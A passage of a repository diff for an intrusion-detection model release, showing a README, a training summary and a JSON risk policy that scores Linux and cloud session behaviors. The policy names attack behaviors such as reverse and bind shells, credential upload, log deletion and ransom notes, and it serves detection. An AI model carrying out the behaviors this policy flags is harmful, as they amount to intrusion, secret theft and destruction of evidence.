+    "behavior_label_instances": 163,
+    "files": [
+      "examples/k8s/example_sessions.jsonl",
+      "examples/k8s/example_gold.rev20.jsonl"
+    ],
+    "intrusion_rows": 72,
+    "normal_rows": 72,
+    "rows": 144,
+    "rows_with_behavior_labels": 144,
+    "sessions": 46,
+    "source": "public normalized Kubernetes AuditLog examples with public-only metadata",
+    "unique_behavior_labels": 27
+  },
+  "linux": {
+    "behavior_label_instances": 14807,
+    "files": [
+      "examples/linux/example_sessions.jsonl",
+      "examples/linux/example_gold.rev20.jsonl"
+    ],
+    "intrusion_rows": 7586,
+    "normal_rows": 2934,
+    "rows": 10520,
+    "rows_with_behavior_labels": 10019,
+    "sessions": 531,
+    "source": "publicly releasable subset of the internal Linux final benchmark; session labels normalized to English enums",
+    "unique_behavior_labels": 349
+  },
+  "note": "The full internal benchmark is larger and is not redistributed in this repository; these examples are the public subset used for runnable release verification.",
+  "schema": "secebl_public_examples_manifest_v2"
+}

l2_artifacts/README.md

@@ -0,0 +1,52 @@
+# SecEBL-Rev20 L2 Artifact
+
+This directory contains the minimal public L2 artifact bundle for SecEBL-Rev20.
+It is included so the companion GitHub `scripts/run_examples.sh` can run the
+public Linux benchmark-subset session scoring path by default when this Hugging
+Face model snapshot is used as `MODEL_DIR`.
+
+## Files
+
+| Path | Purpose |
+| --- | --- |
+| `logreg.joblib` | Fitted logistic-regression L2 session-risk model. |
+| `tag_risk_policy.rev20.json` | Matching L2 feature policy. Its tag-selection settings are internal to L2 feature extraction. |
+| `train_summary.json` | Public aggregate training/evaluation summary with no raw rows or real session identifiers. |
+
+The release does not include the L2 training JSONL, raw pressure-stream archive,
+full internal sessions, per-session pressure results, alert JSONL, source-code
+copies, or private run logs. This repository includes the public benchmark
+subset under `examples/linux/`; use the companion GitHub repository for source
+code and the one-command runner.
+
+## Scope
+
+L2 is an experimental session scorer. A session is a sequence of events grouped
+by `session_id`. L1 labels each event independently; L2 scores the whole session
+by aggregating cached L1 ranked tags, retrieval scores, tag diversity, behavior
+transitions, and routine-operation context.
+
+Runtime L2 does not use raw command text, user names, host names, or session ids
+as scoring features. Session ids may appear in private data-prep workflows for
+label assignment, but they are not runtime allow/deny lists.
+
+For compatibility with the released L2 artifact, L2 derives its session
+features from cached L1 `top_labels` using an internal selected-tag feature
+path. This does not change L1 prediction output: users still receive ranked
+`top_labels`, not a selected `behavior_tags` field.
+
+## Public Summary
+
+| Check | Result |
+| --- | ---: |
+| Fitted withheld Linux session benchmark | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |
+| 7M pressure-stream fit-check | 6,286,568 rows, 102,117 sessions, 61 alert sessions |
+| OOF validation | 5,747 sessions, 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |
+
+The high session benchmark accuracy is scoped to the current fitted internal
+experiment. It is evidence that this L2 setup works well on the current complex
+internal benchmark and pressure-data fit-check, not an independent claim of
+general production IDS accuracy.
+
+Use the companion GitHub helpers so feature extraction matches the released L2
+artifact.

l2_artifacts/logreg.joblib

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:daf76830fdb47d83f3e6f161e9876b514138b12e8c3118aabf0b0cdd6f1947c6
+size 171046

l2_artifacts/tag_risk_policy.rev20.json

@@ -0,0 +1,1207 @@
+{
+  "alert_markers": [
+    "anti_forensic",
+    "boundary_cross",
+    "business_sensitive",
+    "cloud_identity",
+    "cloud_remote_execution",
+    "credential_access",
+    "destructive",
+    "egress",
+    "identity_policy",
+    "ingress_execution",
+    "persistence",
+    "recon",
+    "sensitive_access",
+    "remote_access"
+  ],
+  "config_id": "rev20_tag_risk_policy_v11",
+  "group_defaults": {
+    "cloud_control_plane": {
+      "base_points": 0.85,
+      "family": "cloud_control"
+    },
+    "configuration_and_log_modification": {
+      "base_points": 0.55,
+      "family": "mutation"
+    },
+    "containers_and_cloud_native": {
+      "base_points": 0.65,
+      "family": "boundary_cross"
+    },
+    "database_and_infrastructure_services": {
+      "base_points": 0.45,
+      "family": "operational_access"
+    },
+    "execution_and_process": {
+      "base_points": 0.75,
+      "family": "execution"
+    },
+    "filesystem_and_data": {
+      "base_points": 0.6,
+      "family": "data_movement"
+    },
+    "identity_auth_and_secrets": {
+      "base_points": 1.0,
+      "family": "credential_access"
+    },
+    "kernel_memory_and_tracing": {
+      "base_points": 1.1,
+      "family": "privilege"
+    },
+    "network": {
+      "base_points": 0.8,
+      "family": "network_recon"
+    },
+    "observation_and_discovery": {
+      "base_points": 0.35,
+      "family": "recon"
+    },
+    "package_build_and_source": {
+      "base_points": 0.25,
+      "family": "benign_context"
+    },
+    "persistence_services_and_storage": {
+      "base_points": 0.7,
+      "family": "persistence"
+    }
+  },
+  "max_tags_per_command": 4,
+  "min_tag_score": 0.55,
+  "multi_label_gap": 0.12,
+  "notes": "Rev20 flat behavior-tag session risk policy. L2 derives session features from cached L1 top_labels using an internal tag-selection path that matches the released L2 model artifact. This does not change L1 prediction output: users still receive ranked top_labels, not a selected behavior_tags field. Tag-level points describe intrinsic behavior risk; session-level aggregation combines evidence, diversity, routine maintenance, and professional operations context. scoring_professional_operations is a negative context signal only when professional tags are dominant, anchor evidence is present, explicit attacks are absent, and non-professional hard attack markers are absent. It is not a command or tag whitelist.",
+  "operational_context_markers": [
+    "cloud_identity",
+    "identity_policy",
+    "recon",
+    "sensitive_access"
+  ],
+  "severe_families": [
+    "credential_access",
+    "identity_policy",
+    "persistence",
+    "anti_forensic",
+    "boundary_cross",
+    "cloud_identity",
+    "cloud_remote_execution",
+    "data_egress",
+    "destructive",
+    "execution_bootstrap",
+    "privilege",
+    "sensitive_access",
+    "remote_access"
+  ],
+  "tag_overrides": {
+    "apply_infrastructure_template": {
+      "family": "cloud_control",
+      "operational": true,
+      "points": 0.8
+    },
+    "archive_sensitive_content": {
+      "family": "data_egress",
+      "markers": [
+        "egress",
+        "business_sensitive"
+      ],
+      "points": 2.5
+    },
+    "attempt_remote_authentication": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.2
+    },
+    "attach_process_debugger": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 2.2
+    },
+    "capture_network_packets": {
+      "family": "sensitive_access",
+      "markers": [
+        "sensitive_access"
+      ],
+      "points": 1.6
+    },
+    "capture_process_memory": {
+      "family": "collection",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 3.5
+    },
+    "clear_shell_history": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 2.6
+    },
+    "clear_login_history": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 3.0
+    },
+    "crack_credential_material": {
+      "family": "credential_access",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 3.0
+    },
+    "create_cluster_secret": {
+      "family": "credential_access",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 2.1
+    },
+    "create_credential_material": {
+      "family": "credential_access",
+      "points": 1.2
+    },
+    "create_privileged_container": {
+      "family": "boundary_cross",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 3.0
+    },
+    "create_cloud_access_key": {
+      "family": "cloud_identity",
+      "markers": [
+        "credential_access",
+        "cloud_identity"
+      ],
+      "points": 3.4
+    },
+    "create_dynamic_proxy": {
+      "family": "remote_access",
+      "markers": [
+        "remote_access"
+      ],
+      "points": 2.9
+    },
+    "create_forward_tunnel": {
+      "family": "remote_access",
+      "markers": [
+        "remote_access"
+      ],
+      "points": 2.8
+    },
+    "create_reverse_tunnel": {
+      "family": "remote_access",
+      "markers": [
+        "remote_access"
+      ],
+      "points": 3.5
+    },
+    "create_scheduled_task": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 2.8
+    },
+    "create_special_filesystem_node": {
+      "family": "data_movement",
+      "points": 1.4
+    },
+    "create_systemd_unit": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 2.9
+    },
+    "delete_audit_log": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 3.4
+    },
+    "delete_business_log": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 2.8
+    },
+    "delete_cloud_resource": {
+      "family": "destructive",
+      "markers": [
+        "destructive"
+      ],
+      "points": 2.2
+    },
+    "delete_credential_material": {
+      "family": "destructive",
+      "markers": [
+        "credential_access",
+        "destructive"
+      ],
+      "points": 2.8
+    },
+    "delete_database": {
+      "family": "destructive",
+      "markers": [
+        "destructive"
+      ],
+      "points": 2.8
+    },
+    "delete_database_data": {
+      "family": "destructive",
+      "markers": [
+        "destructive"
+      ],
+      "points": 2.7
+    },
+    "delete_object_storage": {
+      "family": "destructive",
+      "markers": [
+        "destructive"
+      ],
+      "points": 2.8
+    },
+    "delete_secret_store": {
+      "family": "destructive",
+      "markers": [
+        "credential_access",
+        "destructive"
+      ],
+      "points": 2.7
+    },
+    "delete_systemd_unit": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 2.1
+    },
+    "delete_infrastructure_log": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 3.0
+    },
+    "delete_system_log": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 3.0
+    },
+    "download_external_content": {
+      "family": "data_movement",
+      "markers": [
+        "ingress_execution"
+      ],
+      "points": 1.2
+    },
+    "enumerate_packages": {
+      "benign": true,
+      "family": "benign_context",
+      "points": -0.05
+    },
+    "execute_cloud_compute": {
+      "family": "cloud_remote_execution",
+      "markers": [
+        "cloud_remote_execution",
+        "boundary_cross"
+      ],
+      "points": 3.0
+    },
+    "execute_encoded_command": {
+      "family": "execution_bootstrap",
+      "markers": [
+        "ingress_execution"
+      ],
+      "points": 2.6
+    },
+    "execute_downloaded_content": {
+      "family": "execution_bootstrap",
+      "markers": [
+        "ingress_execution"
+      ],
+      "points": 3.8
+    },
+    "execute_from_temporary_path": {
+      "family": "execution_bootstrap",
+      "markers": [
+        "ingress_execution"
+      ],
+      "points": 2.1
+    },
+    "execute_from_user_writable_path": {
+      "family": "execution_bootstrap",
+      "markers": [
+        "ingress_execution"
+      ],
+      "points": 1.9
+    },
+    "execute_in_chroot": {
+      "family": "boundary_cross",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 2.6
+    },
+    "execute_remote_command": {
+      "family": "remote_access",
+      "markers": [
+        "remote_access"
+      ],
+      "points": 1.9
+    },
+    "format_filesystem": {
+      "family": "destructive",
+      "markers": [
+        "destructive"
+      ],
+      "points": 2.7
+    },
+    "grant_cloud_privilege": {
+      "family": "cloud_identity",
+      "markers": [
+        "identity_policy",
+        "cloud_identity"
+      ],
+      "points": 3.3
+    },
+    "grant_cluster_privilege": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.4
+    },
+    "grant_database_privilege": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.2
+    },
+    "grant_infrastructure_privilege": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.1
+    },
+    "grant_user_privilege": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.8
+    },
+    "listen_network_port": {
+      "family": "remote_access",
+      "markers": [
+        "remote_access"
+      ],
+      "points": 2.6
+    },
+    "inject_process_code": {
+      "explicit_attack": true,
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 4.2
+    },
+    "inspect_network_state": {
+      "benign": true,
+      "family": "benign_context",
+      "points": -0.1
+    },
+    "inspect_storage_state": {
+      "benign": true,
+      "family": "benign_context",
+      "points": -0.1
+    },
+    "inspect_system_state": {
+      "benign": true,
+      "family": "benign_context",
+      "points": -0.15
+    },
+    "install_package": {
+      "family": "benign_context",
+      "operational": true,
+      "points": 0.1
+    },
+    "install_boot_persistence": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 3.4
+    },
+    "load_ebpf_program": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 2.5
+    },
+    "load_kernel_module": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 2.5
+    },
+    "modify_audit_policy": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.4
+    },
+    "modify_auth_policy": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 3.2
+    },
+    "modify_cloud_identity_policy": {
+      "family": "cloud_identity",
+      "markers": [
+        "cloud_identity",
+        "identity_policy"
+      ],
+      "points": 3.0
+    },
+    "modify_cloud_secret": {
+      "family": "credential_access",
+      "markers": [
+        "cloud_identity",
+        "credential_access"
+      ],
+      "points": 2.8
+    },
+    "modify_cluster_auth_policy": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.6
+    },
+    "modify_cluster_secret": {
+      "family": "credential_access",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 2.2
+    },
+    "modify_critical_system_path": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 2.6
+    },
+    "modify_database_account": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.0
+    },
+    "modify_dynamic_loader": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 3.2
+    },
+    "modify_mount_state": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.4
+    },
+    "mount_remote_filesystem": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.5
+    },
+    "modify_file_timestamp": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 2.6
+    },
+    "modify_firewall_policy": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.4
+    },
+    "modify_infrastructure_account": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 1.9
+    },
+    "modify_pam_policy": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 3.5
+    },
+    "modify_process_memory": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 3.8
+    },
+    "modify_kernel_memory": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 3.6
+    },
+    "modify_kernel_parameter": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 1.8
+    },
+    "modify_library_preload": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 3.2
+    },
+    "modify_package_execution_hook": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 2.7
+    },
+    "modify_repository_hook": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 2.8
+    },
+    "modify_security_module_policy": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross",
+        "identity_policy"
+      ],
+      "points": 2.8
+    },
+    "modify_scheduled_task": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 2.5
+    },
+    "modify_service_state": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.45
+    },
+    "modify_ssh_policy": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 3.4
+    },
+    "modify_ssh_authorization": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 2.4
+    },
+    "modify_sudo_policy": {
+      "family": "identity_policy",
+      "markers": [
+        "identity_policy"
+      ],
+      "points": 3.6
+    },
+    "modify_shell_history": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 2.6
+    },
+    "modify_shell_startup": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 2.7
+    },
+    "modify_systemd_unit": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 2.7
+    },
+    "modify_trust_store": {
+      "family": "identity_policy",
+      "markers": [
+        "boundary_cross",
+        "identity_policy"
+      ],
+      "points": 3.0
+    },
+    "mount_host_into_container": {
+      "family": "boundary_cross",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 3.2
+    },
+    "manage_vpn_connection": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.45
+    },
+    "open_data_service_session": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.12
+    },
+    "probe_multiple_endpoints_multiple_ports": {
+      "family": "network_recon",
+      "markers": [
+        "recon"
+      ],
+      "points": 2.0
+    },
+    "probe_web_application": {
+      "family": "network_recon",
+      "markers": [
+        "recon"
+      ],
+      "points": 1.8
+    },
+    "query_database_data": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.15
+    },
+    "run_performance_test": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.2
+    },
+    "read_auth_audit_log": {
+      "family": "sensitive_access",
+      "markers": [
+        "sensitive_access"
+      ],
+      "points": 1.8
+    },
+    "read_cloud_credentials": {
+      "family": "credential_access",
+      "markers": [
+        "credential_access",
+        "cloud_identity"
+      ],
+      "points": 3.0
+    },
+    "read_cloud_secret": {
+      "family": "credential_access",
+      "markers": [
+        "cloud_identity",
+        "credential_access"
+      ],
+      "points": 2.8
+    },
+    "read_cluster_secret": {
+      "family": "credential_access",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 2.8
+    },
+    "read_container_secret": {
+      "family": "credential_access",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 2.9
+    },
+    "read_credential_material": {
+      "family": "credential_access",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 2.8
+    },
+    "read_infrastructure_config": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.1
+    },
+    "read_kernel_memory": {
+      "family": "sensitive_access",
+      "markers": [
+        "boundary_cross",
+        "sensitive_access"
+      ],
+      "points": 2.5
+    },
+    "read_shell_history": {
+      "family": "history_access",
+      "markers": [
+        "sensitive_access"
+      ],
+      "points": 2.2
+    },
+    "read_system_audit_log": {
+      "family": "sensitive_access",
+      "markers": [
+        "sensitive_access"
+      ],
+      "points": 1.8
+    },
+    "read_system_config": {
+      "benign": true,
+      "family": "benign_context",
+      "points": 0.05
+    },
+    "search_credentials": {
+      "family": "credential_access",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 3.1
+    },
+    "search_sensitive_files": {
+      "family": "sensitive_access",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 2.4
+    },
+    "set_file_capability": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 3.0
+    },
+    "set_immutable_file_attribute": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 1.8
+    },
+    "set_sgid_permission": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 2.4
+    },
+    "set_suid_permission": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 3.2
+    },
+    "securely_delete_data": {
+      "family": "destructive",
+      "markers": [
+        "destructive"
+      ],
+      "points": 3.1
+    },
+    "spawn_bind_shell": {
+      "explicit_attack": true,
+      "family": "remote_access",
+      "markers": [
+        "remote_access",
+        "ingress_execution"
+      ],
+      "points": 5.0
+    },
+    "spawn_reverse_shell": {
+      "explicit_attack": true,
+      "family": "remote_access",
+      "markers": [
+        "remote_access",
+        "ingress_execution"
+      ],
+      "points": 5.2
+    },
+    "stage_hidden_path": {
+      "family": "anti_forensic",
+      "markers": [
+        "anti_forensic"
+      ],
+      "points": 2.2
+    },
+    "stage_temporary_path": {
+      "family": "data_movement",
+      "points": 1.0
+    },
+    "export_database_dump": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.25
+    },
+    "inspect_service": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.1
+    },
+    "manage_infrastructure_backup": {
+      "family": "operational_access",
+      "operational": true,
+      "points": 0.2
+    },
+    "upload_credential_material": {
+      "family": "data_egress",
+      "markers": [
+        "egress",
+        "credential_access"
+      ],
+      "points": 3.4
+    },
+    "upload_external_content": {
+      "family": "data_egress",
+      "markers": [
+        "egress"
+      ],
+      "points": 2.6
+    },
+    "upload_internal_content": {
+      "family": "data_movement",
+      "operational": true,
+      "points": 0.6
+    },
+    "upload_sensitive_content": {
+      "family": "data_egress",
+      "markers": [
+        "egress",
+        "business_sensitive"
+      ],
+      "points": 3.2
+    },
+    "wipe_storage": {
+      "family": "destructive",
+      "markers": [
+        "destructive"
+      ],
+      "points": 3.4
+    },
+    "write_executable_content": {
+      "family": "execution_bootstrap",
+      "markers": [
+        "ingress_execution"
+      ],
+      "points": 1.8
+    },
+    "write_kernel_module_content": {
+      "family": "privilege",
+      "markers": [
+        "boundary_cross"
+      ],
+      "points": 3.0
+    },
+    "write_ransom_note": {
+      "explicit_attack": true,
+      "family": "destructive",
+      "markers": [
+        "destructive"
+      ],
+      "points": 4.5
+    },
+    "write_shared_library_content": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 2.4
+    },
+    "write_system_executable_content": {
+      "family": "persistence",
+      "markers": [
+        "boundary_cross",
+        "persistence"
+      ],
+      "points": 3.0
+    },
+    "write_web_script_content": {
+      "family": "persistence",
+      "markers": [
+        "persistence"
+      ],
+      "points": 3.0
+    },
+    "write_secret_store": {
+      "family": "credential_access",
+      "markers": [
+        "credential_access"
+      ],
+      "points": 2.0
+    }
+  },
+  "scoring_routine_maintenance": {
+    "purpose": "Scoring-only dampening for cmdlines that are unambiguously normal maintenance. Not the same as tag_overrides.operational taxonomy flags.",
+    "tags": [
+      "build_source_code",
+      "clone_source_repository",
+      "consume_message",
+      "delete_source_code",
+      "download_object_storage",
+      "enumerate_database_schema",
+      "enumerate_object_storage",
+      "enumerate_packages",
+      "enumerate_services",
+      "execute_package_hook",
+      "export_database_dump",
+      "flush_cache_data",
+      "generate_artifact_digest",
+      "import_database_dump",
+      "inspect_audit_policy",
+      "inspect_infrastructure_service",
+      "inspect_network_state",
+      "inspect_service",
+      "inspect_storage_state",
+      "inspect_system_state",
+      "install_package",
+      "manage_database_backup",
+      "manage_infrastructure_backup",
+      "manage_vpn_connection",
+      "modify_language_dependency",
+      "modify_mount_state",
+      "modify_object_storage",
+      "modify_service_state",
+      "modify_source_code",
+      "modify_source_repository",
+      "mount_remote_filesystem",
+      "open_data_service_session",
+      "publish_message",
+      "query_cache_data",
+      "query_database_data",
+      "read_business_log",
+      "read_infrastructure_config",
+      "read_infrastructure_log",
+      "read_source_repository",
+      "read_system_config",
+      "read_system_log",
+      "read_workload_logs",
+      "run_performance_test",
+      "sign_artifact",
+      "simulate_package_install",
+      "uninstall_package",
+      "update_package",
+      "update_source_repository",
+      "upload_internal_content",
+      "upload_object_storage",
+      "verify_artifact_integrity"
+    ],
+    "event_multiplier": 0.4,
+    "event_score_cap": 4.0,
+    "taxonomy_operational_event_multiplier": 0.75,
+    "window_multiplier_full": 0.35,
+    "window_multiplier_majority": 0.48,
+    "majority_ratio": 0.55,
+    "alert_score_cap_full": 5.0
+  },
+  "scoring_professional_operations": {
+    "purpose": "Session-level negative context for cohesive, professional operations. This is not a whitelist: it only applies when professional operations dominate the window, anchor evidence is present, explicit attacks are absent, and non-professional hard attack markers are absent. Business-sensitive backup/egress/destructive maintenance semantics are allowed to damp only inside that strong professional context.",
+    "tags": [
+      "append_system_log",
+      "apply_infrastructure_template",
+      "build_container_image",
+      "build_source_code",
+      "clone_source_repository",
+      "configure_cloud_cli",
+      "connect_cloud_database",
+      "consume_message",
+      "create_cloud_resource",
+      "create_container_pod",
+      "create_database",
+      "create_local_kubernetes_cluster",
+      "deploy_cloud_template",
+      "disable_service",
+      "download_object_storage",
+      "enable_service",
+      "enumerate_cluster_resources",
+      "enumerate_container_images",
+      "enumerate_database_schema",
+      "enumerate_object_storage",
+      "export_cluster_resources",
+      "export_database_dump",
+      "flush_cache_data",
+      "generate_artifact_digest",
+      "import_database_dump",
+      "initialize_infrastructure_template",
+      "inspect_audit_policy",
+      "inspect_container_image",
+      "inspect_container_runtime",
+      "inspect_firewall_policy",
+      "inspect_infrastructure_service",
+      "inspect_network_state",
+      "inspect_service",
+      "inspect_storage_state",
+      "inspect_system_state",
+      "inspect_workload",
+      "install_package",
+      "manage_database_backup",
+      "manage_infrastructure_backup",
+      "manage_vpn_connection",
+      "manage_snapshot",
+      "modify_cache_data",
+      "modify_cloud_firewall",
+      "modify_cloud_resource",
+      "modify_container_network",
+      "modify_container_state",
+      "modify_database_data",
+      "modify_database_replication",
+      "modify_database_schema",
+      "modify_infrastructure_config",
+      "modify_mount_state",
+      "modify_object_storage",
+      "modify_service_state",
+      "modify_source_code",
+      "modify_source_repository",
+      "modify_storage_volume",
+      "modify_workload",
+      "open_data_service_session",
+      "plan_infrastructure_template",
+      "port_forward_workload",
+      "publish_message",
+      "publish_source_repository",
+      "query_cache_data",
+      "query_cloud_audit",
+      "query_cloud_database",
+      "query_database_data",
+      "query_dns_records",
+      "query_service_health",
+      "read_business_log",
+      "read_cluster_context",
+      "read_infrastructure_config",
+      "read_infrastructure_log",
+      "read_mailbox",
+      "read_service_metrics",
+      "read_source_repository",
+      "read_system_config",
+      "read_system_log",
+      "read_workload_logs",
+      "resize_filesystem",
+      "run_performance_test",
+      "scan_container_image",
+      "sign_artifact",
+      "simulate_package_install",
+      "transfer_container_image",
+      "uninstall_package",
+      "update_package",
+      "update_source_repository",
+      "upload_internal_content",
+      "upload_object_storage",
+      "verify_artifact_integrity",
+      "verify_auth_policy"
+    ],
+    "anchor_tags": [
+      "export_cluster_resources",
+      "generate_artifact_digest",
+      "inspect_audit_policy",
+      "inspect_container_image",
+      "inspect_container_runtime",
+      "inspect_firewall_policy",
+      "inspect_infrastructure_service",
+      "inspect_network_state",
+      "inspect_service",
+      "inspect_storage_state",
+      "inspect_system_state",
+      "inspect_workload",
+      "manage_database_backup",
+      "manage_infrastructure_backup",
+      "plan_infrastructure_template",
+      "query_cloud_audit",
+      "query_service_health",
+      "read_cluster_context",
+      "read_infrastructure_log",
+      "read_service_metrics",
+      "read_system_log",
+      "read_workload_logs",
+      "scan_container_image",
+      "sign_artifact",
+      "simulate_package_install",
+      "verify_artifact_integrity",
+      "verify_auth_policy"
+    ],
+    "sensitive_tags": [
+      "grant_cloud_privilege",
+      "grant_cluster_privilege",
+      "grant_database_privilege",
+      "grant_infrastructure_privilege",
+      "grant_user_privilege",
+      "create_cluster_secret",
+      "create_credential_material",
+      "modify_audit_policy",
+      "modify_auth_policy",
+      "modify_cloud_identity_policy",
+      "modify_cluster_auth_policy",
+      "modify_cluster_secret",
+      "modify_database_account",
+      "modify_firewall_policy",
+      "modify_group_membership",
+      "modify_infrastructure_account",
+      "modify_pam_policy",
+      "modify_ssh_authorization",
+      "modify_ssh_policy",
+      "modify_sudo_policy",
+      "modify_user_access_state",
+      "read_credential_material",
+      "read_secret_store",
+      "revoke_cloud_privilege",
+      "revoke_database_privilege",
+      "revoke_infrastructure_privilege",
+      "revoke_user_privilege",
+      "write_secret_store"
+    ],
+    "blocking_markers": [
+      "anti_forensic",
+      "boundary_cross",
+      "cloud_remote_execution",
+      "ingress_execution",
+      "persistence",
+      "remote_access"
+    ],
+    "min_events": 3,
+    "min_anchor_events": 2,
+    "moderate_ratio": 0.45,
+    "moderate_multiplier": 0.84,
+    "strong_ratio": 0.65,
+    "strong_multiplier": 0.72
+  },
+  "threshold_score": 8.75
+}

l2_artifacts/train_summary.json

@@ -0,0 +1,63 @@
+{
+  "schema": "secebl_rev20_l2_public_summary_v1",
+  "l1_release": "SecEBL-Rev20 public L1 release",
+  "l2_release": "SecEBL-Rev20 public L2 artifact",
+  "model_type": "logistic_regression_session_scorer",
+  "scoring_scope": "experimental fitted L2 session scorer over cached L1 semantic features",
+  "runtime_feature_exclusions": [
+    "raw_command_text",
+    "user_name",
+    "host_name",
+    "session_id"
+  ],
+  "training_mixture": {
+    "sessions": 5747,
+    "positive_sessions": 426,
+    "negative_sessions": 5321,
+    "synthetic_pressure_positive_sessions": 60,
+    "reviewed_real_pressure_positive_sessions": 1,
+    "random_real_pressure_background_negative_sessions": 5000,
+    "reviewed_hard_negative_pressure_sessions": 23
+  },
+  "validation_oof": {
+    "folds": 5,
+    "accuracy": 0.9939098660170523,
+    "attack_precision": 0.9643705463182898,
+    "attack_recall": 0.9530516431924883,
+    "normal_recall": 0.9971809810186055,
+    "tp": 406,
+    "fn": 20,
+    "fp": 15,
+    "tn": 5306
+  },
+  "withheld_session_benchmark_fit_check": {
+    "sessions": 663,
+    "rows_seen": 12594,
+    "attack_sessions": 365,
+    "normal_sessions": 298,
+    "accuracy": 1.0,
+    "attack_precision": 1.0,
+    "attack_recall": 1.0,
+    "normal_recall": 1.0,
+    "tp": 365,
+    "fn": 0,
+    "fp": 0,
+    "tn": 298
+  },
+  "pressure_stream_fit_check": {
+    "rows_seen": 6286568,
+    "sessions": 102117,
+    "alert_sessions": 61,
+    "reviewed_real_alert_sessions": 1,
+    "synthetic_alert_sessions": 60,
+    "raw_rows_redistributed": false,
+    "real_session_identifiers_redistributed": false
+  },
+  "thresholds": {
+    "score_threshold": 0.5,
+    "model_probability_threshold": 0.9,
+    "score_transform": "threshold_margin",
+    "score_transform_scale": 2.0
+  },
+  "caveat": "This is an experimental fitted L2 artifact for reproducible SecEBL-Rev20 session experiments, not an independent claim of general production IDS accuracy."
+}

model.safetensors

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
